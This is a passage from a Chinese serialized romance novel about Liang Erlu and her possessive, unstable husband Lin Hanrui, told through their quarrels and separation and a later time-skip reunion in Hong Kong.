略微歪头的专心致志模样,没能注意到他,余光总算见着,便只是冷淡瞥来一眼。
“在做什么?”
床沿凹陷,梁尔璐当即往右边挪远身体:“你审犯人呐?”
往电子五线谱上修改音符,她半个眼神也不丢林瀚睿:“写歌,写我闪恋、闪婚,结果遇到你这种人的戏剧性经历。”
气得她往被褥扔了笔,后者不受控制地摔去地板,这金贵物件绝对会摔坏。
抛开懊恼与心疼,梁尔璐耐耐情绪,同他好声好气地商量:“实话实说,我没打算不要你,只是觉得双方都需要分开一段时间冷静。”
“我不信,只要是正常人,就不会喜欢我们神经病的,哪怕不歧视,也避而远之,你在骗我,你想分手,你想逃。”
犟得她出乎意料……
“我不分手,就算我哪天提分手了,也不会是你认为的这个原因!”梁尔璐试图纠正林瀚睿平静面容下的错误逻辑,“该怎么办,你才愿意相信?”
“我不信,除非你把我杀了。”
双方之间的距离远近得当,她轻易看清男人泛沉眸中的浮躁:“你不可理喻!为什么不相信我!”
“我要回家,我说,我讨厌这里!我要回家啊!我要回家,你听不懂中文吗?”
“我们是法定夫妻,住在一起,有什么问题?”
“林瀚睿!”她忍住摔平板的冲动,软屏幕被指腹摁出波纹状的游离物。
强行冷静,梁尔璐咬牙切齿:“好啊,那就互相折磨,反正我宅得很,一个月三个月不出门也行。”
撤走对视较劲的眼神,她躺进被窝,连几绺遗落外边的发丝也藏进,因此揪疼头皮。
“乖,别在山里乱跑。”
“说你爱我。”
“那你把我弄成残废好了,我是哑巴,说你大爷!”
“没关系,我爱你,这就够了。”
“没看出来你这么好伺候啊,狗东西!狗东西!”
“去看好玩的?”
嗯?
梁尔璐瞬间掀被,冒出脑袋。
吵架是一回事,她住在这里也是真的太无聊,随即谨慎跟上林瀚睿,距离稍微远了些,适合撒腿就跑。
男人止步他们从未进过的一间房前,五官无甚起伏地对来,眸色浅淡:“你不想看,算了。”
想得很……
梁尔璐率先开门进入,发现室内空阔,唯独相邻两面墙的区域满当,摆放了电玩城里常见的娃娃机,各个悬挂着抓钩的透明箱中已填装大半。
恐惧如跗骨之蛆一般攀升,迅速弥漫脑海,她却仍旧后知后觉。
向外跑之际,差点撞上关了门转过身来的林瀚睿,径直吓得她连退几步。
他没任何动作,仅仅唇角扬笑,眼瞳溢出的光仿佛晶亮水色,显出亢奋:“你不觉得好玩吗?”
梁尔璐恍惚得瞠目结舌,意识内长久散不去他昨晚在暗房自言自语的话。
“那些娃娃都是我抓的,既然你不喜欢,就扔了。”
熟稔的声线如利刃扎刺,她抬颤抖的手紧捂双耳:“我不像娃娃……我不是你的娃娃!”
林瀚睿依旧站定原位,甚至将门开敞:“所以你要乖,别让我抓你。”
消远的慌张脚步声重新变近,他按揉酸胀眉心,等待跑回的梁尔璐。
“有件事必须告诉你!”确定处于安全距离,梁尔璐心有余悸地清嗓,“除除,除了被你的秘密吓到,我完全没生气,毕竟你都已经爱我到这种疯癫程度了,我反而开心,但不代表我现在就愿意搭理你,那些娃娃比你顺眼,我喜欢的。”
“以退为进?你确实擅长后退。”
这也能扯?
她懵:“你是拉面师傅吧!怎么听不懂好赖话呢?我算是看明白了,其实你一直就没信任过我!只有我跟傻子似地信你,所以我才会沦落成这样!那你谈什么恋爱?结什么婚?自己过日子去吧!”
“不是……我真的没不要你,真的。”其实能理解林瀚睿精神状态堪忧,过度不安,她说的这些话属实太重了。
重到他无声许久,始终平静注视而来,温度骤降般冰封,冷漠得足够陌生。
话声呈现乏味感:“在我上班之前,你别出现我附近,否则我不知道会做出什么事。”
“我不信你了,你肯定不会对我做什么的。”
林瀚睿抬高了些手,顿时听见这满脸写着“信”字的矛盾人喊救命逃跑。
半悬空中的五指发颤,他攥回她惊慌的胳膊:“一直待在这里不好吗?”
梁尔璐能
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感觉到男人持续的烦躁与恐惧,但语气冷冰冰的。
“我可以接你家人过来。”
是松口了。
她当即速拨电话,开免提:“妈咪,我之前和你说过的那个代购客户,你还记得吗?”
“那个啊,你奕珩哥说见过他几次,人挺不错的,茶楼有点忙,妈咪先挂了。”
“等一!”她傻眼。
人是挺不错的,可剖开来太吓人。
“我有能力让你身边所有人觉得,我对你很好,很爱你,你却不懂事地想要离开我,到最后没人会站在你这边。”
梁尔璐攥紧手机。
耍她玩呢,偏偏她信了。
这话无非是威胁着问她……
确定还要让家人来庄园住?
她垂眼,丧气摇头。
之前就是轻易被林瀚睿那温柔纯良的模样骗到了。
如同他此刻轻缓的语气:“我再问一遍,你不觉得好玩吗?”
“害怕和我玩这些警告威胁人的游戏,那我们以后就不玩了,前提是你乖,要听话。”
八成是扯了个难看的笑,梁尔璐点头:“行,我会躺平的。”
“明天你可以出门。”
语意并不复杂,她坚持琢磨数遍。
“出,你让我出门?”既然有前车之鉴,这绝对又是坑。
“你不是想回家?挑个父母不会在家的时间,把户口本放回原位。最多给你一小时,每十分钟向我报备一次,在哪,身边有谁,做了什么,如果与我得知的有任何出入……”
“闭嘴!”梁尔璐听得头疼,胆从心起,剜他一眼打断,却只敢商量,“我能不出门吗?”只想把林瀚睿这副平和到没什么能动摇内心的面容撕了。
男人投近否定的眼色,将浅淡目光移去墙沿,开了新话题:“喜欢那些娃娃?喜欢就多看。”
梁尔璐随即收到他发的一张照片。
背景是她家附近商城四楼的抓娃娃店,林瀚睿站于几辆堆满娃娃的粉色三层购物车之间。
对镜自拍的角度,手机挡了脸。
美中不足是这表情的缺失,她好奇:“你在笑吗?”
四个字竟引得男人五官活了一般,嘴角下压部分:“我笑得出来?换成手机屏保。”
“谁让你自己做坏事忘关门……”梁尔璐倒是不忘戳人肺管子,利落把锁屏和桌面的图片都换成了这张。
她决定继续动之以情:“我真没骗你,不用十分,你哪怕是信我半分的半分呢?”
“林瀚睿,我要你,我不分手,我爱你。”
唯独换来他斩钉截铁的架势:“我不信。”
梁尔璐欲言又止,惊觉无话可说,干脆将手机扔地上,转身离开:“你把我手机也收了吧,其它电子设备自己去拿,我不回家了。”
俯身捡起,林瀚睿掠一眼屏幕钢化膜的碎纹,追赶扣牢她肩:“我有说要到这种程度吗?”
“你……”她始料不及男人未加掩饰的哭腔,收敛了无用的心软,冷声,“你不满意?”
走廊相比房间,少些封闭的窒闷,仿佛林瀚睿这反差过大的情绪变动,也冲破了禁锢。
“你要我,你不分手,你爱我。”
“怎么证明?”
让她自证?
梁尔璐忍住替他擦眼泪的冲动,反问抛回难题:“你又会怎么证明,你爱我?”
“你究竟是爱我还是利用我?‘你没了我就会死的’,在这个极端因果里,你是在爱我,还是在利用我?你有认真考虑过这个问题吗?如果我不按你说的做,就等于不爱你。当然,你肯定认为你是爱我,但你口口声声说爱我,却不相信我,我真的特别讨厌不被别人信任。”
泪水濡湿眼眶,显得男人愈发迷茫:“所以你讨厌我?你讨厌我,你讨厌我……可你不是说爱我!”
“我是在问你,怎么证明你爱我。”
“我……”
他积聚面部的焦虑之色逐渐浓重,哭状可怜:“我……”
梁尔璐趁机接住他掌心内因失力而掉落的手机,当机立断就往楼梯方向跑。
手腕却瞬间被重力压扣的几指凉意反握,头顶传出一声轻笑:“宝宝,你又相信我了。”
死定了死定了!
她还以为几句PUA下来,已经成功把这两天精神状态堪忧的林瀚睿绕自闭了。
“别,别!”手机重新被夺,梁尔璐双眼巴巴地望他,“林北北,我不逃了嘛。”
可他置若罔闻地递来笑意。
“我今天抓了太多娃娃,也不差你这一个最漂亮的。”
“是你自己不打算回家,让我收电子设备的,两者全出于你自愿,所以从现在开始,你真的断网了。”
32.旧夏日
梁尔璐怀着断网的愤懑,与林瀚睿沉默对抗到第二天。
气得几乎整宿不能眠,睡眼惺忪之间,她被穿戴整齐准备上班的男人晃醒,严重起床气瞬间消失。
惹不起惹不起。
“早安。”
“不说话?”
“你在床上不说话的时候,能坚持多久?”
白日宣淫的狗东西……
梁尔璐耳根子红热,扯高被子,遮得只剩一双眼睛:“你可以别把我社交软件那些朋友删掉吗?”
“不会。”
分明是恶劣威胁。
她直面林瀚睿暖煦的笑容:“我要玩手机。”
“玩娃娃机。”
谈判失败,梁尔闭眼深呼吸,钻进被窝,听得他因此泛闷的声线。
“除了大提琴,你还会什么?”
她怔怔探出脑袋,那可多了:“我只会玩手机。”
男人但笑不语,起身离开。
再没回来。
车到半路,林瀚睿接通庄园医生的电话,据说梁尔璐手里始终紧攥着瓶红花油,却生怕被旁人瞧见。
“是开封过的一瓶?”他不用想也知道,“随意,她不会用。”
指望他哥来救,不如做白日梦。
第一时间折返,林瀚睿回房逮见她没来得及藏去身后的药瓶:“给我。”
“我能废了梁奕珩画画的手。”
“至于不这样做,是防止你崩溃,我喜欢你现在闹脾气的安静程度。”
男人步步逼近的压迫感侵袭,梁尔璐背脊贴抵早已退无可退的墙角:“给你可以,但是你千万别把它摔破了,不能浪费中药。”
软语一通,却仅换来他充斥不耐的冷视:“我允许你提要求了?”
好似被无形的力扼喉,她倏忽觉着窒息,便摇头回应,迟疑递给林瀚睿。
妥协并未能获取梁尔璐渴望的理想态度,男人趁机就她伸过的手腕强拽,害五指没拿稳,玻璃瓶清脆碎在地板,偏红的药液飞溅。
由他抱着离开逐渐弥漫药油味的卧室,短短一墙之隔的距离,她沿路一直红了眼眶,只敢躲被窝轻声啜泣。
“我可以理解成,你为了别的男人哭。”
“你高考语文阅读理解肯定是满分,没错,我要和你离婚!去找别的男人!”糊湿了小片枕头,梁尔璐往旁侧挪身子。
绝不是因为害怕林瀚睿。
“夸张但差不多,既然这么了解我,放过你。”
……她还得感恩戴德不成?
也不知道什么时候哭累睡过去,梁尔璐醒在中午,早餐没吃,此刻遭搜肠刮肚的饥饿引出了房间。
一楼还挺热闹,她见大批陌生人接连不断走进庄园,正往几个屋子内搬置各种乐器。
全是自己会的,甚至属于各行专业人士瞧了都净称赞的昂贵型号。
落魄少爷这是轻而易举地调查她啊,果然瘦死的骆驼比马大。
但她唯独落几眼目光。
身后也挺热闹。
“富太太,林先生好宠。”
“但你看她什么时候出过门吗?”
“不会是养在外面用来生孩子的那种……”
梁尔璐有些讨厌耳朵太灵,转道厨房的同时随口撂话:“不识字吗?说不出来那两个字?还是知道这里有监控,造谣犯法,不敢说?”
狗东西断她网,反手就送乐器哄人,哼,没用。
她连娃娃机都不会去碰半下的,横竖还得是做饭给自己吃最开心。
睡眠不足导致乏累,梁尔璐放弃繁冗费时的烘焙,选择家常味的番茄炒蛋盖浇饭。
端了满当的深碗走到餐厅,她乍一眼瞥见坐桌边投来平淡视线的林瀚睿,脸颊瞬间垮得笑容尽失,腿脚极快绕远。
身后嗓音拈着之前清早的冷漠:“怎么,不想梁奕珩画画了?”
倒算是灵丹妙药,治得梁尔璐秒速老实。
“那几个碎嘴的已经被辞退了。”
暂且不论双方之间的吵架关系糟糕透顶,被人毫不避讳地对面对看进食过程,她尴尬沉默,数米粒似扭捏。
难受数了一阵儿,眼帘垂落许久,视野内忽然出现林瀚睿沿桌面推过的手机。
“你导师找。”
几小时没碰手机,梁尔璐竟觉得陌生,省得男人反悔,她抓紧回拨电话:“师叔,嗯……什么?我吗?”
轻下分贝,她偷眼打探林瀚睿。
狗东西正忙着干饭。
辨不清他的意思,梁尔璐犹豫再三,拒绝:“我……我没空,您要不找找师兄师姐他们?”
放落手机,她气不打一处来。
为了拥有大口吃饭的快乐,她特意拿了大勺子,不承想林瀚睿趁她通电话,已吃空了几乎一半的量,且仍埋头继续。
“我的饭!”她强忍困饿做出来的饭!
谁知他护食,无赖掀起眼皮对视:“你是我的,你的饭就是我的饭。”
梁尔璐上手夺过碗,哪还顾什么尴尬,擦着眼泪大口舀进嘴里,嚼劲凶巴巴:“不让我玩手机就算了,你连饭都不给我吃!”
林瀚睿想戳她塞满了饭且生气到鼓囊的腮帮子:“让你去做什么?”
满脸是不乐意搭睬的模样,梁尔璐声儿发闷:“你管是什么,反正我又不去。”
漫起的心急,迅速牵连他嗓音:“我又没说不让你去。”
这回她却是直接沉默以对。
林瀚睿琢磨久字句:“真话,你可以相信我。”
嗯?
怎么干脆抱碗上楼了?
眼看梁尔璐哭耸着肩的颤颤背影,他神情无措。
若是继续靠抢饭吸引她的关注,合理怀疑她会直接将碗扣他脸上,使出大家都别想吃的劲儿。
但,老婆做的饭好香。
在客厅待到傍晚,林瀚睿都迟迟未见梁尔璐下楼。
果不其然搁卧室熟睡,他像早上那样无情晃醒人:“起床了,你导师等着,我替你说了有空去。”
揽入怀中的困倦身体频频往被窝赖回,面部表情委屈得很:“不给我玩手机,不给我饭吃,你现在居然连觉都不给我睡了。”
听清她软绵绵列举的他所犯罪状,林瀚睿生悻:“你别又哭了,需要出门。”
心一横,他将昏昏欲睡的梁尔璐抱去浴室盥洗台坐着,为她洗脸。
清洁用的温水适宜,她算是清醒了些,愣愣盯看来:“你脑子出问题了?”
被质疑脑子有病的林瀚睿面无表情。
等男人手沾面霜,结束对她脸的一通搓圆捏扁,梁尔璐咽口唾沫压惊:“你这是报复!对不起,是我脑子出问题了。”
竟会有几瞬认为林瀚睿恢复了正常,满副求和却又不怎么敢的姿态。
“我有点想吃荔枝。”
“嗯?”他话题转太快,梁尔璐怔,“去买呗,我也想……”
她后知后觉。
面霜是带些微荔枝甜感的。
脸红蔓延的形势如火般速燎,却完全不及林瀚睿俯身偏就的吻势。
背后镜子沁凉,反倒衬得身前男人偏低体温趋向暖融。
并非错觉。
林瀚睿在用骨子里的强势与不安,幼稚求和。
唇齿间充溢了他似乎是面临覆水难收境地的挽留之意。
梁尔璐凑倾去,搭扣他手腕借力。
衬衫处的袖扣硬硌,因此少量嵌入她指尖修剪短齐的甲缘底,直抵内部游离线,些许疼。
歇了备受允许的勾缠,林瀚睿眸色秾稠,深凝小幅度蹙眉的梁尔璐。
他从镜后的柜取出礼盒,嘴角漾笑:“这个的荔枝味够浓。”
梁尔璐拆开这熟悉的香水包装:“FORBIDDEN GAMES,我自己也有一瓶,在荔枝味的香中确实地道。”
“你应该说,禁忌游戏。”
梁尔璐疑惑林瀚睿像被扶光拢了满身的明媚:“你要玩什么禁忌游戏?”
一时没见回应,而小腹遭他轻触:“小荔枝在里面,我只能亲你。”
“只能多亲你几次。”
*
毕竟她需要出门,玩性大起的林瀚睿并未太过黏人。
中医文化夜市在港岛举办。
他待车里,全靠望看夜市免费坐诊区的梁尔璐来解闷。
虽说她持续端着学习老师诊疗实践经验的认真脸,周围一些由另外中医带的男徒弟,总是偷偷张望她,甚至有不知好歹献殷勤送吃的。
不过他老婆社恐地拒绝了。
拒绝时对其他男人笑了。
林瀚睿咬牙强忍不爽的躁意。
车窗不合时宜被敲响,碍眼的身形占据他视野。
盛言顾不客气挨进后座:“Rosalind说你用遗嘱分到的所有股份,和你爸交换了区区一套房产,我就知道你有问题。”
“如果不是我临时出面,让中医文化夜市改坐诊模式,让坐诊医生之一推掉这活动,她导师一个深城的院长有资格参加?她能参加?”
“放了姐姐,你识相点,我也省事些。”
林瀚睿沉脸,眼风掠他颇具少年感的稚态五官:“你怎么不识相点?别妄想我的人。”
“还有,你装穷骗她是吧?小心玩太大,收不了场。”盛言顾加深笑容挑衅,当即下车往夜市方向。
骨伤科坐诊位正空,他提出换人:“我想让这个姐姐看病。”
梁尔璐老远就认清这送莲花告白的疑似未成年,连忙摆手:“我还在上学,小朋友你选我老师吧。”
却受他歪头撒娇:“姐姐,姐姐你不认识我了吗?”
害她被身旁的导师打趣,只得尴尬应对:“认识……那个,我和老师这里是看骨伤的,你哪儿不舒服?”<
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p>“腱鞘炎。”
梁尔璐捏了捏他示意的区域,又翻过一面,垂眸诊脉:“平时怎么用手的?打过封闭针吗?血糖高吗?以前治过吗?倾向于什么治疗方式?你气血有些不畅,虽然不严重,但你这体质比较适合泡中药或草本内服。”
“工作常用电脑,没打过,不高,治过,我不喜欢吃药,当初医生也是让泡手。”
“你都工作了?脸好像小孩。”她收敛讶异,“那我给你去抓药,总而言之你的腱鞘炎没大问题,平时尽量调整用电脑的习惯,少着凉水。”
没赶尾巴似跟随她的年轻人,梁尔璐细致包药,除却泡手的,顺带另一份用作血府逐瘀,鼻音应他一声唤:“吃点药吧,气血通畅对身体健康特别重要,你堂哥淤塞到病得不轻。”
“姐姐,我和堂哥都二十五岁了。”
“你这小孩骗我的吧,十五还差不多。”
毕竟他笑脸也活脱脱像极了十五岁能有的:“谢谢姐姐,我怎么会骗姐姐呢?姐姐,你要小心我堂哥。”
满耳的“姐姐”绕晕梁尔璐,她不解望向提醒完就提药离开的男人。
应该是指林瀚睿藏着极端占有欲骗她吧。
其实还行,讲不通时才烦,像刚才那样正常的情况也无所谓了。
*
入夜风轻,葱郁树叶相擦的声响弱。
夏日的夜市持续时间不久,梁尔璐吹多了热气,车载空调凉到恰如其分。
身旁锁眉的林瀚睿同样酸溜冷嗖:“姐姐,你还没摸过我的手号脉。”
“那我现在给……”
“我不要了。”
好吧,林瀚睿才是小孩。
她收敛哭笑不得的情绪,哄:“你别生气。”
“不是生你的气,我堂弟和你说了什么?”
“就正常看中医那些交流。”她眨眨眼,重新琢磨他堂弟充满言外之意的话。
“我说过的吧,你演技很烂。”
好像是哦。
梁尔璐悻悻,对上林瀚睿盛了笑的双眸:“他,他让我小心着你,主要是我怕你们兄弟之间吵架什么的。”
“你怎么想?”
解开塑料袋的杂音比较吵,她没听清:“你说什么?吃点心吗?我师娘做的。”
“我说……”林瀚睿吃进她掰开了递过的半块茶香绿豆糕,抬手戳人鼓鼓的单侧腮帮子,“你好可爱,我中午就想这么做了。”
“中午就想?你做白日梦。”
“是吗?我看你下午特别容易哄。”他确定这次是把梁尔璐的肺管子戳着了,一点就炸。
“那你也不准说!吃东西还堵不住你嘴,我全自己吃!”
梁尔璐放出吃独食豪言却只下肚了少部分。
林瀚睿垂眼注视怀里熟睡的人,外边一早飘起小雨,湿得她头发轻微翘卷。
车子已经熄火够久,他叫醒梁尔璐:“到了。”
入目的街景熟悉而久违,她惊觉林瀚睿是将她送回了家:“你……”
“对不起。”
“我妈跳楼之前异常沉默,我差点害你也变这样,对不起,我恨她丈夫,可是我已经成为他那种人。”
能看出梁尔璐神色惹急地欲言,林瀚睿递过伞,打断:“按你说的,我们需要分开,冷静一段时间。”
“求你别和我说话。”即使转过头,他仍然模糊可见窗玻璃倒映的女人五官,上面布满街灯昏昧中的斑驳雨痕。
没让帮忙搬行李箱的司机多停留半秒,林瀚睿目光落定在后视镜内的渐远身影。
手机屏幕亮过多次来电显示,无非是催促他出席林家内部私底下的高层会议。
赶到书房之际,父亲正和两个兄弟商议公司业务,堂弟与堂妹双双神游天外,随即和谐使来眼色,斥他动作慢。
掌心内的手机微震,林瀚睿查看最新一则消息。
【我们分手】
短短四字,分量却不轻。
他无视父亲让过去坐的疑惑声线。
【难道只能你骗我吗】
发送的问号尾部衔接了个红色感叹号。
林瀚睿摁灭手机,扯松些落了雨渍的领带:“倘若你们二房看好的项目破产,使集团陷入财困危机,是打算通过公司上市的由头,向银行借钱发行债券,以贷养贷?”
“什么你们二房?你们大房了不起?”
“投胎学这方面,二叔您的确不如我父亲钻研得早。”
堂弟最快笑出声,瞬间被二叔拍了一脑袋,恨铁不成钢地训斥。
密集的雨珠跳急了砸窗生响,一并惹他烦扰。
混乱中,父亲望来:“Hendrix,针对商业版图的扩张,你有什么想法?”
二、三房众人不解林瀚睿沉默凝看黑屏手机的反应,旋即见他终于抬眼,视线淡然落向坐在主位的父亲。
“我想取代您。”
33.夏日
雨声响在耳侧。
林瀚睿手背的疼痛滞缓发作,此刻鲜明得汩汩冒血。
梁尔璐总算得以推开他的吻势,瞥了眼掌心之内折断木筷的锐利尖头,她揉抚被男人五指锢过的脖颈,轻声咳嗽。
余光可见他手部皮表绽开一道殷红的长伤口,本就病态白的肌肤尤其显得血色凛冽刺目。
她掷远攥紧的筷子,偏差着砸了林瀚睿肩角:“你装穷!”
单根不够,梁尔璐随即摸出睡衣口袋里剩余的粗糙破筷,一把子砸向他胸膛:“你骗我!”
“就当扯平两清,会喜欢上你的梁尔璐,已经没了。”
她下意识想起同读硕士的室友,白天还提过林瀚睿的另一件旧事。
四年前林家老爷子去世后,三房之间开始争权,但起码浮在表面的水花蛮小,谁知没多久,林家的内斗便升级登顶。
二房纨绔少爷和三房低调千金崭露头角,大房的林瀚睿锋芒比以往更盛,将叔叔、堂亲,甚至是亲生父亲都赶下台,半年不到就成为林家新一代掌权人,比他父亲当初接手家族的年龄都要少上个三年。
总结——杀疯了。
外界都传他彼时恐怕是受了什么刺激。
梁尔璐敛眉。
那也别找她发疯。
捡手机离开安全通道,她开门却迎面撞上了换掉病号服,穿戴整齐的梁奕珩,双方隔三两步距离。
“你可以出院了吗?”
“死不了,没必要。”男人眸光稍转着掠看她身后,随即撤回视线,眉眼含笑地相视而来,“走吧。”
梁尔璐深感局促,拂落一些颊边的碎发挡脸,垂眼瞅梁奕珩手中拎的满袋食盒,包括了原先墙边公共椅上的那些饭菜。
“尔妹,你说他不会生气吧?可本来就是我的。”
“谁……”梁尔璐脑子宕机一瞬,“啊,对啊,本来就是你的,别管他。”
电梯上行得慢,她刚打算挪半步与梁奕珩站齐一条水平线,恰逢他转过身。
梁奕珩亲吻怀里傻愣的僵硬身形,抬眼遥望林瀚睿。
自动关闭的安全通道门咔哒作响,几乎与电梯到层的叮声前后相擦。
他低眸,对上梁尔璐惊恐的神情,翕动睫羽不安扑簌,五指揪紧了他右腕。
道歉欲言又止,被她出口的惶然打断。
“不要,不要……你的手会画不了的。”
“他有这样威胁你?尔妹讨厌他吗?嗯,我也是,所以现在尔妹不要提起讨厌的人,听哥哥的话。”
置于水深火热般站他一旁,梁尔璐心情复杂地垂头。
按她了解到的,除就职单位的HR这类人以外,身边没亲朋好友知道她结婚的事,而且她确定摊上了林瀚睿就离不了婚。
走进电梯之际,胳膊受到后扯的力,她扶墙站稳才看清俩男人在走廊厮打,任谁都不让半分。
周围分布病房,梁尔璐没敢大声阻止,心急如焚逃入即将严丝合缝的电梯门。
在出租车司机听话加速些的疑惑眼神内,她下到小区门口,如临大赦。
斜侧夜色深处停着的车打起双闪,驶她附近摇了窗,女儿同学的父亲急赤白脸:“正好,卓熹妈妈,班主任说一直联系不到你,我想不能让你爸妈担心就没去问,现在我们得去趟幼儿园。”
按键后的手机反应感人,间歇性黑屏,梁尔璐利落搭乘。
据说幼儿园举办“今夜不回家”培养独立和集体意识的活动中,女儿受欺负,楼上这家的儿子当场与对方打了架。
“卓熹妈妈不用道歉,那臭小子从早到晚三句不离你女儿,我就知道迟早会有这么一天,已经努力教过,他八成是再也忍不住了。”
“谢谢。”道理她都懂……梁尔璐最怕欠人情。
幼儿园距离小区仅十五分钟车程,集聚的学生正露营观看电影。
单方面挨打受伤的孩子母亲是幼儿园小领导,他们到时,女人正点头哈腰,对坐在沙发的男人毕恭毕敬,自责没办好酒店承办的活动,影响企业宣传了。
梁尔璐想自戳双目。
林瀚睿嘴角破了个新鲜的狼狈伤口,反倒端一副好似是给私立学校捐钱的金主架势,显然忍了撕裂的疼,朝她浅幅弯唇,借这似笑非笑的弧度控诉糟糕心情。
医院到学校,真就大晚上的不嫌累赶场子呗。
脸部挂彩男娃的母亲刚要发难,梁尔璐掐断:“你不了解自己养出来的坏孩子吗?我和子书先生都清楚自家的好孩子不会随便欺负人。”
“有些孩子,父母天天在身边,却还没长期缺失一份爱的其他孩子们懂事。”
她第三次截胡女人那张欲启的嘴皮子:“背地里随你们说,但这次已经是我女儿明面上第二次被你没教养的孩子造谣没爸爸,谁说她没爹,谁就拿出证据来,不然见律师谈,更何况你一个公立幼儿园的芝麻官,还真当自己有头有脸了?我能摇来比你更有官威的,请问你喜欢喝茶吗?”
林瀚睿身前桌沿的热茶无人问津,雾气持续飘出杯口,方向全乱地四散开。
视线稍挪,梁尔璐延迟回应林瀚睿笑容:“哪怕是你口中的这位林先生,他也是我女儿的干爹。”
“嗯,我干女儿性格原本就比较内向,现在被你儿子吓到,甚至害怕起干爹,不愿意叫我,能麻烦你别站在我旁边吗?我干女儿误会了。”
真是配合。
梁尔璐几乎要气死,狗东西休想真的和她女儿攀上关系。
被呛到无话可说的女人悻悻站远。
林瀚睿略微眯眼,打量面面相觑而来的社牛男孩,与酒店阻拦他时的戒备如出一辙。
随即抱紧身旁小姑娘的胳膊,仰头:“丈母娘,那个打不过我的笨蛋总是欺负我的卓熹妹妹,我没妈妈,但他不敢欺负我。”
敢情是性格早熟的疑似小疯子。
打架零负伤,且小小年纪便会框定占有一个人的范围了。
某人亲身经历过,居然不制止这种危险分子靠近女儿?
梁尔璐注意到林瀚睿投近的复杂眸光,自然而然装瞎。
什么玩意儿?
他们是能交流眼神的好关系?
翻够了口舌吵架,她领孩子回家,俩抱在各自父母怀中的娃娃伸手交换糖果。
子书濯耐不住好奇心,发问:“你真能摇来大官?”
“吓唬吓唬而已,那男的也不是什么干爹,双双,你说是不是呀?”
他见小女孩摇头:“可酒店老板还蛮配合,肯定也是看不惯没教养的人。”
梁尔璐摊手接取女儿递过的糖纸:“谁知
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道呢。”
等孩子们在车后座系好安全带,她关门,轻声招呼绕回主驾驶位的男人:“麻烦你送双双,我馋烧烤了,不能被小孩看见,你要吃什么吗?我晚点带回去送上楼。”
子书濯因她勾起笑的明媚脸容稍怔,退一步摆手:“没,没什么……不用。”
近几年,父母总催促他向未婚生子的梁尔璐示好,他死都不干,并非歧视,单纯感觉出现她周围的男人有种平静的疯感,点名那位书画界名声远扬的竹马哥哥,温柔到渗人。
至于今夜这被开除熟人籍的林先生,他总也怀疑熟且癫得不简单。
*
梁尔璐身边碍眼的男人有些多了。
离异单身父亲和已婚母亲,后者一旦离婚,可以结婚成为重组家庭。
吹入窗的风裹挟燥夏热意,林瀚睿拧眉收回望外的视线,手背处破损偏深的伤口已止血。
担心他哥画画的右手报废,却毫不在意他画画的右手。
烧烤摊还远,梁尔璐接着个陌生电话,对方率先出声:“结婚,跟我。”
透过听筒的声线熟稔,她瞬间倒胃口:“找死啊狗东西?你刚才说什么?再说一遍试试?”
请问她四年前是和一团名叫林瀚睿的空气结婚的吗?
“抱歉,我忘了你需要先离婚。”
道的哪门子歉?
梁尔璐捂嘴:“你,林瀚睿,让我离婚。你让我离婚?请问你脑子没出问题吧?”
竟还有这等好事?
时隔四年,治好极端占有欲了?不像啊……白天分明就一副病入膏肓的没救样。
“你就这么不愿意离婚?那好,男小三,我会做。”
破案了,原来某人是角色扮演玩上瘾了。
“做你的白日梦去!”她差点踢到花坛,深呼吸压惊,“我问你,四年前的八月五日,你在做什么?”
“料理祖父的身后事。”
果然出差是骗她的。
忍住想踹得他托马斯回旋般的冲动,梁尔璐冷哼:“除此以外呢?”
“并无。”
嗯?
她当即展开头脑风暴。
懂了。
为了玩角色扮演,合理化男小三的人设,林瀚睿纯粹装失忆。
毕竟是领证那一天,忘记也太没良心……
那她再搭把手:“小三,我承认你是有一些些姿色,但我绝对不会背着老公出轨的,我已经有自己的家庭,你别再来插足我和老公之间的感情。”
“不是,怎么关键时刻又黑屏?挂掉,林瀚睿你挂掉!挂!”
“不挂就暗杀你!”
林瀚睿偏不挂,翻看人民医院给的医生资料,梁尔璐将成为调派到他身边的私人中医。
履历表栏格中赫然“已婚”二字。
孩子四岁,算实打实的三岁,加之不可能是完全标准的十月怀胎生子,所以应该是他们分手后,梁尔璐无缝衔接,和其他男人……
林瀚睿攥皱了纸。
梁尔璐并非这种人,绝对是她丈夫使了阴谋诡计,害她怀孕,只能毫无感情基础地奉子成婚。
眼下必须让她尽快离婚,官司再难打,他也多的是人脉,何况再来十个女儿,他都养得起。
梁尔璐只能是他的老婆。
34.夏日
失眠入睡得迟,梁尔璐忍困早起,可办理到港的工作签证流程繁复,她几乎折腾了一天,也因此与林瀚睿重新加上微信,被迫和这雇主兼担保人多次联系。
此刻幼儿园放学,她接女儿。
谁知在街口远远望见梁奕珩站车边抱着干女儿,同对面的林瀚睿对峙,双方隐形着剑拔弩张。
梁尔璐连连摆手摇头,向抱人肩膀处的小姑娘使眼色,嘘声让安静。
得是疯了才会介入这种尴尬场合,她掉转车头就溜,逃进闺蜜的服装店歇了会儿,收到梁奕珩将孩子送到家的报备。
梁尔璐忍俊不禁。
假干爹终究是赢不过真干爹。
钟敏绮眼瞅她前秒笑后秒丧的精神状态,轻戳这瘫在沙发面如死灰的人:“还没想好怎么跟梁奕珩解释?”
“嗯,比写论文还难。”
梁尔璐如今更不想说自己结婚了,只要一想到周围所有人把她定义为“林瀚睿的妻子”,她就前所未有得膈应。
林瀚睿也是离谱,搁那幼稚地装失忆,演男小三,但凡讲一句已经和她结婚了……
总之这狗东西暗爽着呢,性质太恶劣,净欺负梁奕珩。
不过她也对不起梁奕珩,害人变成真的男小三了。
“其实我觉得你直说就好,他又不傻,你们认识二十多年都没能谈恋爱,昨晚那kiss无非是他想沉默地告诉你,他喜欢你,之后你们之间要做的,是让时间淡化这个尴尬,以前该是什么朋友的样子,将来同样。”
还得是局外人明眼,梁尔璐恍然大悟:“对啊!”
她终于想起来,梁奕珩四年前便清楚他绝无跻身爱人地位的可能性,永远只是她的朋友。
“别太信,我现在没脑子。”钟敏绮连续删除几张设计废稿,“梁医生,那你等签证办下来的几周里,我们去旅游吗?想约你这大忙人可太难了。”
梁尔璐眨巴两眼,稿图还怪漂亮的。
“钟老板娘,我爸说附近好多年轻人点名要我看病,比中医馆里正儿八经坐诊的那些老前辈还热门。”
“巧了,我也是其中之一,也许是图我们银银这副十里八乡闻名的美貌,以及去父留子,事业有成的slay。”
slay不敢当……
她寻思自己纯属被狗男人骗了身心的恋爱脑,谬赞:“仪仪你这个增加我工作量的坏宝,那就勉为其难给你号一下脉吧。”
总结了句倒背如流的“年轻人少熬夜”,她赶回中医馆。
*
目送最后来诊的病患离开,梁尔璐没再精神坐姿,紧了眉伏去桌面,脑袋枕胳膊休息。
